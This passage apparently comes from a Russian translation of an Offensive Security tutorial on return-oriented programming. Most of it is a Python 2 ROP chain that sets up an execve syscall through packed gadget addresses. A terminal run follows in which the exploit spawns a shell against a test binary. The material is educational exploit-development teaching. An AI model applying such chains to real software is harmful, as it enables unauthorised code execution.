for execve p += pack("<I", 0x08048144) # pop %ebx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080bc924) # pop %ecx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 # set eax pour execve syscall p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x080491f9) # int $0x80 print p jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids3.py)" sh-4.2$
Таким образом, вы можете создавать свои собственные гаджеты и затем использовать их. Эти методы будут добавлены в следующих версиях ROPgadget.
© Offensive Security 2011
На перекрестке науки и фантазии — наш канал